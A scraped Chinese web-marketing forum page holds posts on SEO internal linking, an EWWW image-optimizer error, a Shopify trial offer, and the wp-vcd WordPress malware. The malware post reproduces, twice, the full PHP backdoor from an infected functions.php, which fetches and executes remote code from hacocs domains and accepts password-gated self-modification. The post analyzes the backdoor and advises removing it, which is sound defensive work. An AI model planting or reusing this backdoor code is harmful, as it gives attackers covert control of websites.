          除开文本内容,底部的相关文章推荐、最新文章推荐。产品页面相关产品推荐等也是属于内链的。 查看全部
写在前言:
如果你对内链即其基本状况甚是了解,那么可以直接下拉看设置方法及注意事项!!!
什么是内部链接?
 
    内部链接能够将网站的一个页面连接到网站的另一个页面。其展现形式如图:

     
图片1.png

 
     当前我们所建立的网站大多以这种方式进行连接。这是一个简单的网站设计和架构问题,搜索引擎也十分喜欢这类型的链接方式。
 
为什么我们需要内部链接?
 
内链是SEO十分重要的武器之一,设定内链的主要作用:
 
  • 改善网站的索引

         如果网站具有强大的内链体系,Google抓取工具可以更轻松地查找发布和链接的新内容。
                   
图片2.png

  • 内链增加了深层内容页面接收backlinks的能力

          创建强大的内链结构,能够在整个网站中创建清晰的点击路径和索引来提高内部页面的链接获取潜力。合理的站内链接会使引擎更加准确的认识文章内容所要表达的信息,从而使长尾关键词排名提升,网站权重增加。
  • 内部链接为用户提供价值这是最重要的一点。花时间为网站添加内链可以增加每篇内容对用户的价值,通过内链可以让用户轻松找到网站上其他位置创建的其他资源——将用户带到目标网页。而且,内链还能够帮助用户更长时间地留在网站上并增加用户对网站的信任。


 内链设置方法
 
       好吧!其实上面的文案主要是介绍了内链并介绍了其重要性。重点干货还是这一部分。在进行内链设置前要先保证以下两点:
  1. 网站上已有撰写了的内容。即使只有一篇单一的文章,那也没关系。那是我们做内链的起点。
  2. 网站会不断地进行文案内容的更新。为了使内链有效运作,制定定期更新计划非常重要。

 
  • 查阅网站各页面内链数量大致情况

           打开google search console>links>打开 internal links  查看网站当前各个网页的内链数量

             
图片3.png

  • 最好是在两篇文章中进行链接

           最好的内部链接是将一篇文章连接到另一篇文章的链接。这在站点深处创建了一个强大的内部链接结构。

          特别注意: 如果我们网站导航是正常的,网站重要的页面如主页,about us,contact us会有足够的链接指向这些页面。所以我们做内链时无需链接到这些页面!(在google search console可以证实这个情况,过多的指向这些页面也会被认为是作弊)
  • 使用锚文本创建文本链接

           什么样的链接效果最好?
          很简单:含有描述性锚文本(anchor text)的链接。内链应该使用锚文本,建议使用描述目标页面的短语进行链接。举几个例子:


假如要链接到关于google trend的文章



      When planning website content, we can use google trends to get current events.



 假如要将更多流量导向产品页面比如我们官网建站营销,(文案是copy进行修改的,以其中一段进行举例,正文应该有800字左右)



Send paid traffic to content 

Marketing is like dating. You can’t expect to send cold traffic to a product or service and expect people to buy a high-ticket item.You’ll find that paid advertising is much more effective and affordable for selling high ticket items if you send people to an educational piece of content such as a blog post. And then remarketing those visitors and then driving them to your product or service.



In the long run, this is cheaper if you are selling products for above $500 and it is more effective as paid ads to content are cheaper than paid ads to landing pages.If you are not sure how to develop a plan, you can also consult a professional marketing platform to ask for help.


       我们要做的就是是将链接的主题与相关短语进行关联。网站具有“freshness value”,Google会对其进行检测并用作排名算法的一部分。用中文来说即“新鲜的血液给陈腐的大地带来了生机。”使用新链接ping旧网页有助于提高在搜索引擎中增加排名的可能性。
 
  • 使用新的内链更新旧文章

          
         当更新旧的网页时,Google的抓取工具会重新对其进行进行索引,并且很可能会增加其在SERP中的排名(这个不仅是博客页,产品页,主页都可以进行文案更改的)。建议定期更新网站文案(至少一年一次)。更新方法真的很简单:
  1. 在开头添加一段新内容。
  2. 在中间添加1-2个新段落和图片。
  3. 为新创建的内容添加1-2个新的内链。

 
  • 在符合逻辑的地方添加链接​


         需要做的是查找与目标页面能够相关的文案区域进行链接。要增加产品内链可以在结尾处增加提示访客行动的链接。数字营销的目标是吸引访问者。我们可以通过强大的营销声明进行呈现。在文章的结尾可以委婉的给出链接。以下是一些内部链接示例,可以将其放在营销页面的底部,作为号召性用语。(图片来自Andy Crestodina )
 
                 
图片4.png


避免过度优化注意事项
 
  • 不要刻意使用关键字作为内链锚文本


 ​例如:Check out our nice good well page for more information.
(链接到: example.com/nice-good-well.htm  假设的是nice good well 是关键词,这样的锚文本最好不要尝试,尽早放弃)



 或者 We sell top-rated nice good well  
(链接到: example.com/excellent-nice-good-well.htm)


      锚文本过多的使用目标页面的具体url或者关键词是不好的。最恰当的方法是将这些锚文本带入文本段落中,通过创建一个长的锚文本,稀释anchor text中的关键字。


Visit my site Carol for more exact advice.Let’s do a good schedule .(以Carol为anchor text)
 



或者用长句The desert is the most important component of the wedding. Don’t ruin it.


 
  • 避免将所有内链或外链指向顶级导航页面

         外链链接的情况也可以在google search console >link >top link page
         大多数情况下,网站的大部分链接都指向主页或顶级导航页面。当创建大量链接到主页或主要导航页面,如“contact us”,“about us”或“blog”时,会出现过度优化问题。因为这些页面本身就可以获得大量链接。相反,需要添加的是指向深层页面的内链来加强网站链接配置文件。
  • 同一页面尽量不要出现相同的内链一个链接可以配几个关键词,但是一个关键词只能配一个链接。同一个页面中链向同一个页面的链接最好只出现一次。如果一个关键词配了多个链接,就很容易导致搜索引擎无法判断哪个是正确的链接页面,进而将之归入重复页面,从而无法获得任何权重。

 
  • 一般800字的文案,有3-4个内链即可。

        通常一篇800字的文案,有3-4个内链就够了,这样既能保证有一定的内链,又不会让关键词密度过高。当然一定要保证内链到的目标页面相关性高,不然作用不大。
 
  • 一些容易被忽视的内链

          除开文本内容,底部的相关文章推荐、最新文章推荐。产品页面相关产品推荐等也是属于内链的。

Ewww优化器插件报错“EWWW Image Optimizer需要exec() function”

WordPressLeo 发表了文章 • 1 个评论 • 169 次浏览 • 2019-01-07 11:37 • 来自相关话题

使用EWWW插件时,您可能会看到以下错误:
EWWW Image Optimizer需要exec()。您的系统管理员已禁用此功能。
不幸的是,出于安全原因,服务器将无法启用exec()函数。
我们建议使用API​​或基于云的插件,其中所有图像处理都在远程服务器上进行,并且不需要安装任何本地可执行文件。
这个API可以在EWWW这个图片压缩插件里获取,通过购买图片压缩的套餐。(EWWW这个插件是较好的图片压缩插件,而且目前也没有免费版本的图片压缩插件,价格也不贵)





注意:如果想要网站获得更好一点的得分,那么这个图片压缩插件必不可少!
https://ewww.io/plans/
 
既然提到了图片压缩,必然要提下速度,公所周知,谷歌近期调整了pagespeed insight评分标准,更为严苛,之前测评80、90分的网站,可能现在只有十几二十分。优化无非以下几点:
1、script、link添加属性,但必要资源是不能添加这些属性的,会导致网站错乱,毕竟html只是骨架,而css、js就是衣服和行为动作,人没有衣服和行为动作,那只是一堆骨头,那这样的人不就是个死人?同理,那这样的网站,要了做什么?做个word文档不是更好?有些朋友不懂这些资源的原理,那既然有人给你解释了,就要接受,要懂得“鱼和熊掌不可兼得”的道理。
2、图片,任何不需要png格式的图片,都要用jpeg、webp格式图片,png格式压缩效率低下。
3、文件压缩
4、文件缓存,3、4两点,wordpress有插件可以操作。 查看全部
使用EWWW插件时,您可能会看到以下错误:
EWWW Image Optimizer需要exec()。您的系统管理员已禁用此功能。
不幸的是,出于安全原因,服务器将无法启用exec()函数。
我们建议使用API​​或基于云的插件,其中所有图像处理都在远程服务器上进行,并且不需要安装任何本地可执行文件。
这个API可以在EWWW这个图片压缩插件里获取,通过购买图片压缩的套餐。(EWWW这个插件是较好的图片压缩插件,而且目前也没有免费版本的图片压缩插件,价格也不贵)

1.png

注意:如果想要网站获得更好一点的得分,那么这个图片压缩插件必不可少!
https://ewww.io/plans/
 
既然提到了图片压缩,必然要提下速度,公所周知,谷歌近期调整了pagespeed insight评分标准,更为严苛,之前测评80、90分的网站,可能现在只有十几二十分。优化无非以下几点:
1、script、link添加属性,但必要资源是不能添加这些属性的,会导致网站错乱,毕竟html只是骨架,而css、js就是衣服和行为动作,人没有衣服和行为动作,那只是一堆骨头,那这样的人不就是个死人?同理,那这样的网站,要了做什么?做个word文档不是更好?有些朋友不懂这些资源的原理,那既然有人给你解释了,就要接受,要懂得“鱼和熊掌不可兼得”的道理。
2、图片,任何不需要png格式的图片,都要用jpeg、webp格式图片,png格式压缩效率低下。
3、文件压缩
4、文件缓存,3、4两点,wordpress有插件可以操作。

注册试用shopify60天,为网站上线做足准备

Shopifychad 发表了文章 • 1 个评论 • 171 次浏览 • 2019-01-04 13:45 • 来自相关话题

Shopify是SaaS领域的购物车平台,适合跨境电商构建独立的电商网站。作为目前市场上构建电商网站最简洁有效的工具,其历史悠久。Shopify成立于2004年,截止2019年1月,全球已经有60万商家,为全球175个国家提供电商服务。从2012年到现在已经实现累计在线交易额400亿美金,并且每年保持平均74%的增加速度。Shopify是一家上市公司,公司规模宏大,有一个强大的技术团队24小时为商家提供服务器。有一套完备的资金结账系统,保证商家的资金安全。后台友好的商家界面让你分分钟了解怎么运营自己的电商网站。你还在等什么呢?赶紧隽永东方——Shopfiy官网合作伙伴试用吧。
作为最早一批加入SHopify Partner的公司,我司可以提供给我们的顾客两种注册方式,如下图:




第一种:Shopify14天试用,这种方式顾客可以自主注册网站信息,账号资料不用对外公开,当然注册的时候英语这块要求还是有点的。不过都是简单易懂的注册流程,信息填写完备即可。
第二种:Shopify60天试用,这种方式也是完全免费的,就是需要我司作为Shopify Partner帮您后台手动注册VIP账号。即可享受60天的免费Shopify体验,通过这种方式让顾客更好的熟悉后台操作,避免客户没有准备充分就上线造成的用户体验度差的影响。这种注册方式,需要我们的顾客提供一些信息资料,如下:




当然我司也会对顾客的信息资料严格保密,坚决保护顾客的合法权益。欢迎各位新老顾客加入体验 查看全部
Shopify是SaaS领域的购物车平台,适合跨境电商构建独立的电商网站。作为目前市场上构建电商网站最简洁有效的工具,其历史悠久。Shopify成立于2004年,截止2019年1月,全球已经有60万商家,为全球175个国家提供电商服务。从2012年到现在已经实现累计在线交易额400亿美金,并且每年保持平均74%的增加速度。Shopify是一家上市公司,公司规模宏大,有一个强大的技术团队24小时为商家提供服务器。有一套完备的资金结账系统,保证商家的资金安全。后台友好的商家界面让你分分钟了解怎么运营自己的电商网站。你还在等什么呢?赶紧隽永东方——Shopfiy官网合作伙伴试用吧。
作为最早一批加入SHopify Partner的公司,我司可以提供给我们的顾客两种注册方式,如下图:
1.png

第一种:Shopify14天试用,这种方式顾客可以自主注册网站信息,账号资料不用对外公开,当然注册的时候英语这块要求还是有点的。不过都是简单易懂的注册流程,信息填写完备即可。
第二种:Shopify60天试用,这种方式也是完全免费的,就是需要我司作为Shopify Partner帮您后台手动注册VIP账号。即可享受60天的免费Shopify体验,通过这种方式让顾客更好的熟悉后台操作,避免客户没有准备充分就上线造成的用户体验度差的影响。这种注册方式,需要我们的顾客提供一些信息资料,如下:
2.png

当然我司也会对顾客的信息资料严格保密,坚决保护顾客的合法权益。欢迎各位新老顾客加入体验

针对 Wordpress 网站的新一轮 wp-vcd 恶意软件攻击

WordPressLeo 发表了文章 • 1 个评论 • 295 次浏览 • 2018-12-20 16:15 • 来自相关话题

最近发现一个客户的bluehost被暂停了,官方说有病毒,经过和bluehost客服长时间的交流,基本确定了wp-tmp.php、wp-vcd.php以及functions.php三个文件是病毒或是被植入了病毒。
经过对wordpress原始模板的参照,我发现wp-tmp.php、wp-vcd.php这两个文件是不存在的,大可放心删掉。
然后回到functions.php的排毒,

<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '506d7259a8f069cc6257622ae35e8322'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{




case 'change_domain';
if (isset($_REQUEST['newdomain']))
{
if (!empty($_REQUEST['newdomain']))
{
                                                                           if ($file = @file_get_contents(__FILE__))
                                                                    {
                                                                                                 if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
                                                                                                             {
                                                                           $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
                                                                           @file_put_contents(__FILE__, $file);
                           print "true";
                                                                                                             }

                                                                    }
}
}
break;
case 'change_code';
if (isset($_REQUEST['newcode']))
{
if (!empty($_REQUEST['newcode']))
{
                                                                           if ($file = @file_get_contents(__FILE__))
                                                                    {
                                                                                                 if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
                                                                                                             {
                                                                           $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
                                                                           @file_put_contents(__FILE__, $file);
                           print "true";
                                                                                                             }

                                                                    }
}
}
break;
default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
}
die("");
}







$div_code_name = "wp_vcd";
$funcfile      = __FILE__;
if(!function_exists('theme_temp_setup')) {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
        
        function file_get_contents_tcurl($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }
        
        function theme_temp_setup($phpCode)
        {
            $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
           if( fwrite($handle, "<?php\n" . $phpCode))
   {
   }
else
{
$tmpfname = tempnam('./', "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
fwrite($handle, "<?php\n" . $phpCode);
}
fclose($handle);
            include $tmpfname;
            unlink($tmpfname);
            return get_defined_vars();
        }
        
$wp_auth_key='0082cfd4a04f1a4a5ffb8988545e59bd';
        if (($tmpcontent = @file_get_contents("http://www.hacocs.com/code.php";) OR $tmpcontent = @file_get_contents_tcurl("http://www.hacocs.com/code.php";)) AND stripos($tmpcontent, $wp_auth_key) !== false) {
            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
        
        
        elseif ($tmpcontent = @file_get_contents("http://www.hacocs.pw/code.php";)  AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        } 
        elseif ($tmpcontent = @file_get_contents("http://www.hacocs.top/code.php";)  AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
           
        } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 
        } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 
        } 
        
        
        
        
        
    }
}
//$start_wp_theme_tmp


//wp_tmp

//$end_wp_theme_tmp
?>
经过观察,这是一段植入的病毒程序,需要手工删掉。
 
这些攻击主要利用了目标网站过时的插件和主题中存在的安全漏洞。被标记为 "wp-vcd" 的恶意代码主要隐藏在合法的 WordPress 文件中,且被攻击者用于添加一个秘密的管理员账户,随后获取对受感染网站的完全控制权。
 
该恶意代码的初始版本通过一个名为 "wp-vcd.php" 的文件将恶意代码注入到 WordPress 核心文件中。
 
在我们发现的大多数案例中,恶意软件的注入都与过时的软件(插件或主题)有关。只要进行了简单的安全更新或是启用 WAF 都能够成功地阻断这种行为。该恶意代码非常简单,并没有通过编码或混淆函数来隐藏其恶意的意图……
 
所以建议大家插件常更新、主题常更新,这样也能有效防御病毒侵袭。 查看全部
最近发现一个客户的bluehost被暂停了,官方说有病毒,经过和bluehost客服长时间的交流,基本确定了wp-tmp.php、wp-vcd.php以及functions.php三个文件是病毒或是被植入了病毒。
经过对wordpress原始模板的参照,我发现wp-tmp.php、wp-vcd.php这两个文件是不存在的,大可放心删掉。
然后回到functions.php的排毒,

<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '506d7259a8f069cc6257622ae35e8322'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{




case 'change_domain';
if (isset($_REQUEST['newdomain']))
{
if (!empty($_REQUEST['newdomain']))
{
                                                                           if ($file = @file_get_contents(__FILE__))
                                                                    {
                                                                                                 if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
                                                                                                             {
                                                                           $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
                                                                           @file_put_contents(__FILE__, $file);
                           print "true";
                                                                                                             }

                                                                    }
}
}
break;
case 'change_code';
if (isset($_REQUEST['newcode']))
{
if (!empty($_REQUEST['newcode']))
{
                                                                           if ($file = @file_get_contents(__FILE__))
                                                                    {
                                                                                                 if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
                                                                                                             {
                                                                           $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
                                                                           @file_put_contents(__FILE__, $file);
                           print "true";
                                                                                                             }

                                                                    }
}
}
break;
default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
}
die("");
}







$div_code_name = "wp_vcd";
$funcfile      = __FILE__;
if(!function_exists('theme_temp_setup')) {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
        
        function file_get_contents_tcurl($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }
        
        function theme_temp_setup($phpCode)
        {
            $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
           if( fwrite($handle, "<?php\n" . $phpCode))
   {
   }
else
{
$tmpfname = tempnam('./', "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
fwrite($handle, "<?php\n" . $phpCode);
}
fclose($handle);
            include $tmpfname;
            unlink($tmpfname);
            return get_defined_vars();
        }
        
$wp_auth_key='0082cfd4a04f1a4a5ffb8988545e59bd';
        if (($tmpcontent = @file_get_contents("http://www.hacocs.com/code.php";) OR $tmpcontent = @file_get_contents_tcurl("http://www.hacocs.com/code.php";)) AND stripos($tmpcontent, $wp_auth_key) !== false) {
            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
        
        
        elseif ($tmpcontent = @file_get_contents("http://www.hacocs.pw/code.php";)  AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        } 
        elseif ($tmpcontent = @file_get_contents("http://www.hacocs.top/code.php";)  AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
           
        } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 
        } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 
        } 
        
        
        
        
        
    }
}
//$start_wp_theme_tmp


//wp_tmp

//$end_wp_theme_tmp
?>
经过观察,这是一段植入的病毒程序,需要手工删掉。
 
这些攻击主要利用了目标网站过时的插件和主题中存在的安全漏洞。被标记为 "wp-vcd" 的恶意代码主要隐藏在合法的 WordPress 文件中,且被攻击者用于添加一个秘密的管理员账户,随后获取对受感染网站的完全控制权。
 
该恶意代码的初始版本通过一个名为 "wp-vcd.php" 的文件将恶意代码注入到 WordPress 核心文件中。
 
在我们发现的大多数案例中,恶意软件的注入都与过时的软件(插件或主题)有关。只要进行了简单的安全更新或是启用 WAF 都能够成功地阻断这种行为。该恶意代码非常简单,并没有通过编码或混淆函数来隐藏其恶意的意图……
 
所以建议大家插件常更新、主题常更新,这样也能有效防御病毒侵袭。